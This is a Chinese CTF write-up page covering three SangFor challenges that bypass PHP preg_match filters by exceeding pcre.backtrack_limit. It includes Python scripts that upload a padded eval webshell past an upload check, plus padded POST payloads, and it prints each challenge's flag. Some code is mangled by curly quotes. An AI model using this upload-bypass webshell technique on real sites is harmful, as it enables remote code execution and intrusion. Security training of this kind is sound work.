当前位置: 首页 > article >正文

PHP-回溯

[题目信息]:

题目名称题目难度
PHP-回溯2

[题目考点]:

pcre.backtrack_limit()

对正则NFD回溯次数进行限制,能够预防pcre ddos,默认值为1,000,000,如果超过限制,preg_match()

将会返回false,而如果preg_match匹配成功返回为1,匹配不成功返回为0。

[Flag格式]:

SangFor{35CxD-i-ScWlia1OGy7wru9i-kmI_855}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2086

[题目writeup]:

1、实验主页

2、源码分析

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(FILE));
}

$user_dir = ‘data/’ . md5($_SERVER[‘REMOTE_ADDR’]);
$data = file_get_contents($_FILES[‘file’][‘tmp_name’]);
if (is_php($data)) {
echo “bad request”;
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . ‘/’ . random_int(0, 10) . ‘.php’;
move_uploaded_file($_FILES[‘file’][‘tmp_name’], $path);

header(&quot;Location: $path&quot;, true, 303);

}

分析题目代码,可以发现最主要就是绕过is_php函数的限制

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

代码利用正则限制了<?php后不能添加( ` ; ? >这些字符,也就难以构造一个完整的php代码。

这里需要涉及到正则匹配的流程,正则匹配有两种引擎

DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

php的PCRE库使用的就是NFA的正则引擎,就会涉及到回溯的一个过程。如图所示(借用p神的图)

uploading.4e448015.gif正在上传…重新上传取消

可见第4步的时候,因为第一个.*可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是//aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符[(;?>]`。

所以NFA就开始回溯,先吐出一个a,输入变成第5步显示的//aaaa,但仍然匹配不上正则,继续吐出a,变成//aaa,仍然匹配不上

最终直到吐出;,输入变成第12步显示的<?php phpinfo(),此时,.*匹配的是php phpinfo(),而后面的;则匹配上[(;?>],这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配;,14步匹配.,第二个.`匹配到了字符串末尾,最后结束匹配。

PHP为了防止正则表达式的拒绝服务攻击(回溯次数过多),限制了回溯的次数。这个次数对应着php_ini中的pcre.backtrack_limit,回溯次数上限默认是100万。

当回溯的次数超过这个限制的时候,会返回一个false (匹配成功返回1,匹配失败返回的是0)

那么此题的答案就呼之欲出了,发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

import requests
from io import BytesIO

files = {
‘file’: BytesIO(b’aaa<?php eval($_POST[txt]);//’ + b’a’ * 1000000)
}

res = requests.post(‘http://url/index.php’, files=files, allow_redirects=False)
print(res.headers)

使用蚁剑连接木马,获取flag。









[题目信息]:

题目名称题目难度
PHP-回溯(练习)1

[题目考点]:

pcre.backtrack_limit()

对正则NFD回溯次数进行限制,能够预防pcre ddos,默认值为1,000,000,如果超过限制,preg_match()

将会返回false,而如果preg_match匹配成功返回为1,匹配不成功返回为0。

[Flag格式]:

SangFor{Ug4d5Czr5RQk5YHy-m_sW-flkjmjw59E}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2066

[题目writeup]:

1、实验主页

2、源码分析

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];
if(preg_match('/.+?sangfor/is', $f)){ die('bye!'); } if(stripos($f,'36Dsangfor') === FALSE){ die('bye!!'); } echo $flag; 

}

import requests
url = "http://192.168.17.87:2066"
data = {
    'f': 'dotast'*170000+'36Dsangfor'
}
res = requests.post(url=url,data=data)
print(res.text)









[题目信息]:

题目名称题目难度
PHP-回溯1

[题目考点]:

pcre.backtrack_limit()

对正则NFD回溯次数进行限制,能够预防pcre ddos,默认值为1,000,000,如果超过限制,preg_match()

将会返回false,而如果preg_match匹配成功返回为1,匹配不成功返回为0。

[Flag格式]:

SangFor{fYEde8C0wRXRZFB4vcBuvslM_Ny_nmyM}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2065

[题目writeup]:

1、实验主页

2、源码分析

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
if(preg_match('/.*?sangfor/is', $f)){ die('bye!'); } if(stripos($f, 'sangfor') === FALSE){ die('bye!!'); } echo $flag; 

}

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false

构造脚本发包

import requests
url = "http://192.168.17.87:2065"
data = {
    'f': 'dotast'*170000+'sangfor'
}
res = requests.post(url=url,data=data)
print(res.text)


http://www.kler.cn/a/534638.html

相关文章:

  • Django框架丨从零开始的Django入门学习
  • 算法:线性同余法(LCG,Linear Congruential Generator)
  • PHP 中 `foreach` 循环结合引用使用时可能出现的问题
  • “AI智能分析综合管理系统:企业管理的智慧中枢
  • React中为每个列表项显示多个DOM节点的解决方案
  • 深入理解Node.js_架构与最佳实践
  • HTML中的图片标签详解及路径使用【学术投稿-第五届环境资源与能源工程国际学术会议(ICEREE 2025)】
  • 使用多模态大语言模型进行深度学习的图像、文本和语音数据增强
  • Linux提权--John碰撞密码提权
  • K8S Deployment 实现 金丝雀(灰度) 发布
  • 用pytorch实现一个简单的图片预测类别
  • 原生redis实现分布式锁
  • web 第二次作业
  • 关于Vue.js组件开发
  • 基于keepalived+GTID半同步主从复制的高可用MySQL集群
  • python学opencv|读取图像(五十七)使用cv2.bilateralFilter()函数实现图像像素双边滤波处理
  • 报错解决方案笔记01
  • 为什么使用nohup 和 启动的python脚本,日志没有在nohup.out中
  • 迅为RK3568开发板篇OpenHarmony实操HDF驱动控制LED-编写应用APP
  • 【ROS视频推流】使用web_video_server完成视频推流
  • LLMs之data:synthetic-data-generator的简介、安装和使用方法、案例应用之详细攻略
  • Ubuntu24登录PostgreSql数据库的一般方法
  • 常用的TS类型工具
  • lambda表达式写java比较器
  • deepseek技术细节1
  • 线程池如何知道一个线程的任务已经执行完成